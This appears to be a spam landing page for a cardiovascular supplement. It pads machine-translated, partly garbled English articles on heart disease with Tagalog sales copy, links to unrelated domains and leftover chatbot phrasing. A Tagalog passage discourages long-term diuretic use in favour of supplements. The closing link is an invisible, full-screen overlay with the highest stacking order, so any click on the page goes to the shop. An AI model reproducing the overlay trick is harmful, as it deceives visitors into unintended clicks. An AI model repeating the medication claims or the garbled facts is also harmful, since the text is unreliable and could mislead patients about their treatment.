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# The essence of the heart-vascular diseases # --- [![](https://cardio-balance-ph.store-best.net/img/go2.png)](https://cardio-balance-ph.store-best.net) <div style="height:500px;"></div> ## The fight against cardiovascular diseases, the aim of ## Nililinis ang mga ugat na kailangang alagaan mula sa deposito at pinananatili ang kinakailangang lakas ng tibok ng puso! The fight against cardiovascular diseases: A common goal for health and the future Cardiovascular diseases are the leading causes of death. According to the world health organization (WHO), cases every year, millions of death and many of these cases are preventable. The fight against these diseases is not only a medical challenge, but a whole-of-society task that requires all of our Engagement. The causes of cardiovascular problems are manifold: unhealthy diet, lack of exercise, Smoking, excess alcohol consumption, Stress, and genetic factors play a role. Often, these diseases develop gradually — high blood pressure, arteriosclerosis or high cholesterol show no obvious symptoms. Therefore, prevention remains the most important tool in the fight against this silent Killer. What can be done? First of all, the information must have come more into focus. The population must be informed lifestyle choices reduce the risk: balanced, high-fiber diet with plenty of fruit and vegetables; regular physical activity (at least 150 minutes of moderate load per week); Not Smoking and moderate use of alcohol; Stress management and adequate sleep. In addition, the early diagnosis plays a crucial role. Periodic health examinations in order to identify risk factors at an early stage and in a targeted manner to counteract. Blood pressure measurements, blood tests to Check the blood fats, and, if necessary, ECGs can save lives. The policy and health systems have to do their part. This includes: the promotion of healthy living conditions in towns and cities (for example, by more pedestrian zones and bike lanes); the support of prevention programs in schools and businesses; improving access to high quality medical care for all population groups. The fight against cardiovascular diseases, has a clear goal: to improve the quality of life and expectation of the people around the world in a sustainable way. We achieve this goal only when science, politics, medicine, and society work together. Every individual can make a contribution, through conscious choices for their own health and by supporting initiatives that focus on prevention and education. Our health is our most valuable resource. The fight against cardiovascular diseases is a fight for a healthier and better place to live in the future — for ourselves and for the generations to come. Kasabay nito, hindi inirerekomenda ang pangmatagalang pag-inom ng mga gamot mula sa kategoryang Diuretics, dahil ang mahahalagang sangkap tulad ng Potassium, Calcium, Magnesium ay mabilis na nailalabas sa katawan kasama ng sobrang tubig at asin. Alinsunod sa katangiang ito, sinasabayan ng mga Diuretics ang pag-inom ng mga gamot na may laman ng mga sangkap na ito. Maaaring ito ay mga vitamin at mineral na complexes, monokomponent, o mga suplemento sa pagkain na may napatunayang klinikal na bisa. > A sedentary lifestyle, alcohol, and cigarette consumption increase body weight which in turn hinders healthy blood circulation and strength of arteries and veins. This results in high blood pressure. So, if you’re overweight, you need to monitor your blood pressure frequently. ![](https://cardio-balance-ph.store-best.net/img/2.jpg) <a href="http://www.agnuz.info/theme/Default/material_images/cardiovascular-biology-5805.xml">PUMUNTA SA TINDAHAN</a> <a href="http://dientrotiendathc.com/media/ftp/urgent-diseases-of-the-circulatory-system.xml">MAGBASA PA</a> The essence of the heart‑vascular diseases The cardiovascular system is a complex network that includes the heart, blood vessels, and the blood. Its main task is to transport oxygen and nutrients to all cells of the body, as well as metabolic products away. Cardiovascular diseases (CVD) represent a group of diseases that affect this System and lead to a significant morbidity and mortality. Definition and classification Cardiovascular diseases include a variety of diseases, including: coronary heart disease (CHD), Heart failure, arrhythmic cardiac disorders, High blood pressure (arterial hypertension), Vascular diseases (e.g., atherosclerosis), Heart valve defects. The world's leading cause of death are diseases of the circulatory system — according to the WHO statistics, you cause cases annually, billions of deaths. Pathophysiological Bases The Central mechanism for many CVD atherosclerosis — a chronic inflammation of the arterial wall, the lipid deposits (called Plaques) form. These Plaques can narrow the vessel lumen and the blood restrict supply to major organs, especially the heart and brain. Further pathophysiological processes include: endothelial dysfunction, increased thrombus formation, structural changes of the myocardium (e.g., hypertrophy), A fault in the electrical conduction in the heart. Risk factors The risk factors for CVD in modifiable and non-modifiable sub-parts: Non-modifiable: age, gender (men are more likely to be affected), genetic predisposition. Modifiable: Smoking, unhealthy diet, physical inactivity, Overweight/obesity, Diabetes mellitus, arterial hypertension, hyperlipidemia. Clinical Manifestations The symptoms vary depending on the Erkrankungstyp, but can include the following symptoms: Chest pain (Angina pectoris), Shortness Of Breath (Dyspnea), Dizziness and fainting, Edema (especially on legs), irregular heartbeat (arrhythmia). Diagnostics The diagnosis of heart disease requires a combination of: anamnestic data, physical examination (measurement of blood pressure, auscultation), Laboratory tests (lipid spectrum, first troponin, NT‑proBNP), non‑invasive procedures (ECG, echocardiography, Stress Tests), invasive procedures (coronary angiography). Therapeutic Approaches The treatment depends on the specific disease and can include the following measures: lifestyle-related interventions (Smoking abstinence, healthy food, sports), drug therapy (antihypertensive agents, statins, anticoagulants, beta-blockers), interventional procedures (balloon dilatation, stent implantation), surgical procedures (coronary bypass surgery). Prevention Primary prevention aims to prevent the Occurrence of CVD. These include: Education about healthy way of life, regular medical examinations, Control of risk factors (blood pressure, blood sugar, cholesterol). Secondary prevention is the progression of existing diseases and the risk of complications is reduced. Conclusion Cardiovascular diseases are a serious challenge for the health system. Your understanding, early diagnosis and adequate treatment are crucial to improve the quality of life and life expectancy of those Affected, and to reduce the overall burden on society. Would you like me to make a certain section in more detail, or other aspects of adding? ## Death from cardiovascular disease ## Cardiovascular disease: Protect your heart in time! Each year, cardiovascular challenge‑disorders of countless lives — often preventable. You don't leave the fate of the random: prevention starts today! Our comprehensive prevention program helps you to detect risk factors at an early stage and to reduce a targeted manner. With the most modern methods of investigation, individual consultations and tailor-made training plans, we can help you to keep your heart healthy. What you get: Regular Blood Pressure Checks Cholesterol and blood sugar Screening Personalized Nutrition Advice Heart Healthy Exercise Program Stress Management Techniques Call to Action: Sign up today for a free initial consultation! Call us at: Or visit our Website: https://cardio.nashi-veshi.ru Under the line: Your heart is unique, and treat it accordingly. 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They affect millions of people and make a serious challenge for the health system. In order to understand how serious these diseases can be, let's look at two of its most prominent representatives, such as atherosclerosis and heart failure. 1. Atherosclerosis: the calcification of the vessels Atherosclerosis, also called hardening of the blood vessels is known, is a chronic condition in which deposits (called Plaques) on the inside of the artery walls to form. These Plaques are made up of cholesterol, fat, calcium, and other substances from the blood. In the course of time, they constrict the vessel diameter and thus reduce the flow of blood to important organs and tissues. The main reasons for the emergence of atherosclerosis unhealthy lifestyle habits are: a high-fat diet, lack of physical activity, Smoking, and chronic Stress rich. In addition, increase the risk factors such as Diabetes, high blood pressure and elevated cholesterol, the risk of disease values. The consequences of atherosclerosis can be catastrophic: it leads to heart attacks, strokes and peripheral arterial disease. In severe cases, Amputation is even necessary. 2. Congestive heart failure: the failing heart Congestive heart failure or heart failure, is when the heart can no longer pump enough blood to the body. This means that organs and tissues be optimally supplied with oxygen and nutrients. This disease often develops slowly and is usually the consequence of other heart diseases, such as heart attack, hypertension, or valvular Heart. Typical symptoms of heart failure are: strong shortness of breath, especially during physical exertion, or in a reclining Position; fast fatigue and power reduction; Edema of the legs, ankles or in the abdominal cavity; the feeling of constant Overload and inner turmoil. Although heart failure is not completely curable, can be a combined therapy, medication, lifestyle changes and sometimes surgery — slow the progression of the disease and the quality of life will significantly improve. Conclusion Both diseases — atherosclerosis, and heart failure show how important prevention is. A healthy diet, regular physical activity, not Smoking, and stress management can reduce the risk significantly. Early detection through regular medical check-UPS is also of great importance: The sooner a cardiovascular disease is diagnosed, the better their consequences in the barriers. Stay healthy — your heart will thank you! Would you like me to make a certain section in more detail or more examples to add? <a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">The essence of the heart-vascular diseases</a>